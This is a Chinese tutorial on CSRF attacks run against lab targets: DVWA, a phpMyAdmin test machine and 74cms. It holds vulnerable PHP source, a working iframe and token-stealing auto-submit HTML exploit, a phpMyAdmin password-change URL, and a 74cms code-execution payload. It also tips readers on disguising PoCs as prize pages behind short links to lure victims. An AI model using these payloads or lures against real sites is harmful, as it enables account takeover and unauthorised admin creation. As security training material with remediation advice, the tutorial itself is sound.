android安全攻防实战 pdf_Web安全Day3 CSRF实战攻防

本文由红日安全成员:Once、编写,首发于先知社区红日专栏。如果不当,还望斧正。
大家好,我们是红日安全-Web安全攻防小组。,,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望对想要学习Web安全的朋友们有所帮助。每篇文章都是在基于扩展简介-突破原理-漏洞-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场,JAVA靶场,Python靶场基本上某些靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请星鼓励我们创作更好的文章。如果您愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec- redclub@qq.com)联系我们。

1. CSRF漏洞

1.1 CSRF漏洞简介

CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息( cookie、会话
等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下
以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作
(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

1.2 CSRF漏洞分类

1.2.1 GET型

GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。

1.2.2 POST型

POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。

1.3 CSRF漏洞危害

未验证 Referer或者使用 Token 导致用户或者管理员可被 CSRF添加、修改、删除等操作。

2. CSRF漏洞测试

2.1 测试思路

寻找增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。

2.2 工具测试

2.2.1 burpsuite

使用burpsuite中Engagement tools的Generate CSRF PoC模块
右击要csrf攻击的url,选择Generate CSRF POC模块f0ea9529a5807135fd21f617f6d3f933.png
然后就构造好了攻击脚本,value就是要修改成的密码57cf93b7f3ec92673bfe83d8288a21bd.png
Test in browser一般用于自己测试用febf39e6c537de60ef465f756f47f84f.png
然后点击copy616ecbb33f6693edf02d2d80a620c596.png
然后用代理burpsuite的浏览器打开c0820c35187c35847113bb6c6b6dfa6a.png
点击submit request即可修改成功密码b82e8559d8d47ef2bfa6ee04464ed5f9.png
Copy HTML 一般用于攻击其他人,复制下代码保存为HTML文档
可以简单修改个中奖页面,诱惑受害者点击e9f3aef40f94fb026d2895ee7d2bd23a.png3a6415ee8c2febb5d765c0b4f86035f2.png
点击领奖成功修改密码a024ca594eaeedf7d89a98341bae7f4c.png

2.2.2CSRFTester

下载地址:
https://www.owasp.org/index.php/File:CSRFTester-1.0.zip0b7e4088b058ed4d5e785be1728b7486.png
下载后点击run.bat54764fe537c609e80d50c3a905c455f1.png
正常打开,并监听8008端口,需要把浏览器代理设置为800859940a53c87da39e7f59048ea482075e.png
点击Start Recording,开启CSRFTester检测工作,我们这里抓添加管理员的数据包7e91872ce7aa3d41049f53186c889fa7.png
然后右击删除没用的数据包fcb91a20438dd3b39bb85f20c632cbb6.png

点击Generate HTML生成CSRF攻击脚本,我们这次添加test1账号31fb4dde317e59883b6feb098ade9104.png
打开此文件,成功添加账号2e8958dabf94747692bde532d812e877.png

2.3 靶场测试

这里我们选用DVWA靶场进行测试。

2.3.1 安装步骤

下载地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
漏洞环境:windows、phpstudy
先把config目录下config.inc.php.dist文件名修改为config.inc.php,数据库密码修改为自己的。495d7743ec026e88872d1b194ac28d16.png
然后访问dvwa,因为csrf漏洞不涉及红色部分配置,直接创建即可67251ad8d150aceff31a88c5e340abf8.png
创建成功,账号密码是admin/passwordfc98d1c86ea52c79f188b15853aff1c8.png
这里可以调相应的安全等级4aea448da834994c1aa3fdd4db3a052b.png

2.3.2 low等级

从代码中可以看出未作任何防御,直接更改密码。

if( isset( $_GET[ 'Change' ] ) ) {   // Get input   $pass_new  = $_GET[ 'password_new' ];   $pass_conf = $_GET[ 'password_conf' ];   // Do the passwords match?   if( $pass_new == $pass_conf ) {      // They do!      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));      $pass_new = md5( $pass_new );      // Update the database      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
'
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' // Feedback for the user $html .= "
Password Changed."
; } else { // Issue with passwords matching $html .= "
Passwords did not match."
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }

先使用burpsuite进行抓修改密码的数据包

4d1c956dca41a6914cfc1ade7b2e17ca.png
再使用Generate CSRF PoC进行构造poc8c4392d5033b35bf07848b0f1405bd1d.png
CSRF HTML中的代码是构造好的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nS8Dd8zF-1572342583341)(https://uploader.shimo.im/f/Tg4yC6ajfJIWrVrW.png!thumbnail)]
把构造好的代码复制出来,复制到自己创建的HTML文件里,value里的值是要修改成的密码。feddfd9feea03094f78d3bafa90365b3.png
点击submit request即可修改a243d21284e0e7de6168d9a12246cdb6.png
修改成功f9b012024c2e8645150ae84f4522c2a2.png

2.3.3 medium等级

从代码中可以看出先检测referer是否包含主机名称,再进行更改密码。

if( isset( $_GET[ 'Change' ] ) ) {   // Checks to see where the request came from   if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {      // Get input      $pass_new  = $_GET[ 'password_new' ];      $pass_conf = $_GET[ 'password_conf' ];      // Do the passwords match?      if( $pass_new == $pass_conf ) {         // They do!         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));         $pass_new = md5( $pass_new );         // Update the database         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
'
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' // Feedback for the user $html .= "
Password Changed."
; } else { // Issue with passwords matching $html .= "
Passwords did not match."
; } } else { // Didn't come from a trusted source $html .= "
That request didn't look correct."
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }

先看下phpinfo中SERVER_NAME是什么

a574d46c597e0ef66004328eae62ef17.png
访问poc,并抓包修改referer,添加localhost进行绕过9d8b0cbed531458685a00552f91fc3ab.png
修改成功881760b1c7dd14c27d64399fb00b8c20.png

2.3.4 high等级

从代码可以看出增加了Anti-CSRF token机制,用户每次访问更改页面时,服务器都会返回一个随机token,向服务器发送请求时,并带上随机token,服务端接收的时候先对token进行检查是否正确,才会处理客户端请求。

if( isset( $_GET[ 'Change' ] ) ) {   // Check Anti-CSRF token   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );   // Get input   $pass_new  = $_GET[ 'password_new' ];   $pass_conf = $_GET[ 'password_conf' ];   // Do the passwords match?   if( $pass_new == $pass_conf ) {      // They do!      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));      $pass_new = md5( $pass_new );      // Update the database      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '
'
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' // Feedback for the user $html .= "
Password Changed."
; } else { // Issue with passwords matching $html .= "
Passwords did not match."
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token

generateSessionToken();

要绕过Anti-CSRF token机制,首先要获取token,再使用这个token进行修改密码。
然后构造以下代码

<html><body><script type="text/javascript">    function attack(){   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();  }script><iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">iframe><body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="hongri">    <input type="hidden" name="password_conf" value="hongri">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   form>body>html>

访问后就立即修改密码67b41ed9f8d0b2835591853d50b91702.png

3. 真实实战演练

此漏洞使用VulnSpy在线靶机phpMyAdmin进行测试

3.1 安装步骤

靶机地址:https://www.vulnspy.com/?u=pmasa-2017-9
存在漏洞:GET型CSRF
点击开启实验3980ce72941b8d56df252e144b3fc41d.png
可以登录也可以不登录ee21529f7aaae0d88e21e9597cdda924.png
打开靶机地址,默认账号密码:root/toor,靶机只有十分钟的时间c7d8ff06855f78fa17293bbf25cef53e.png

3.2 利用过程

将当前用户密码更改为hongri,SQL命令

SET passsword=PASSWORD('hongri');

构造poc

http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27hongri%27)

我们可以使用短域名伪装

5d3babd8c3746c388147ed0db6c818b5.png
修改成功9277d95836244ff795b2b59feea3a73c.png

4. CMS实战演练

选取骑士cms进行CSRF漏洞实战攻击测试。

4.1 安装步骤

骑士cms下载地址:http://www.74cms.com/download/load/id/155.html
漏洞环境:windows、phpstudy
存在漏洞:POS型CSRF、代码执行

下载解压,访问首页a69a324cf6cdab8a7a9cfaf7bfd1695f.png
填写信息139aed2c1c5abc8480048f5c2f8766ef.png
安装完成32a37b7390a2b90bb3559622cb1af920.png

4.2 测试过程

安装好后,进入添加管理员界面进行抓包46b637083238f965a3d9f1df48f4e8d9.pngab5a82503c287f801b3220fd9daf4c59.png
使用Generate CSRF PoC生成HTML代码,并添加个中奖图片,简单伪装成中奖页面。b478efe2ab6f405732f591247fa4825d.png2391caa7b015102f4d9ced7c9a172991.png
还可以用短域名继续伪装8246aebf03fd22754785ecb5d4b4739d.png
然后诱导管理员打开并点击,创建成功2e68e9e844ca6a2a728baa6f89be66a1.png
使用创建的账号密码登录850f90e65f30e653100173d57b64b0f8.png
使用代码执行漏洞执行phpinfo
poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a’.${phpinfo()}.’d3aa4fd01aea0acfd9173ade2d4aa165.png

5. 漏洞修复方案

5.1添加随机token值,并验证。

5.2验证Referer

5.3关键请求使用验证码功能

6. 参考文章

https://www.freebuf.com/articles/web/118352.html

http://www.yqxiaojunjie.com/index.php/archives/341/

https://www.vulnspy.com/?u=pmasa-2017-9

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值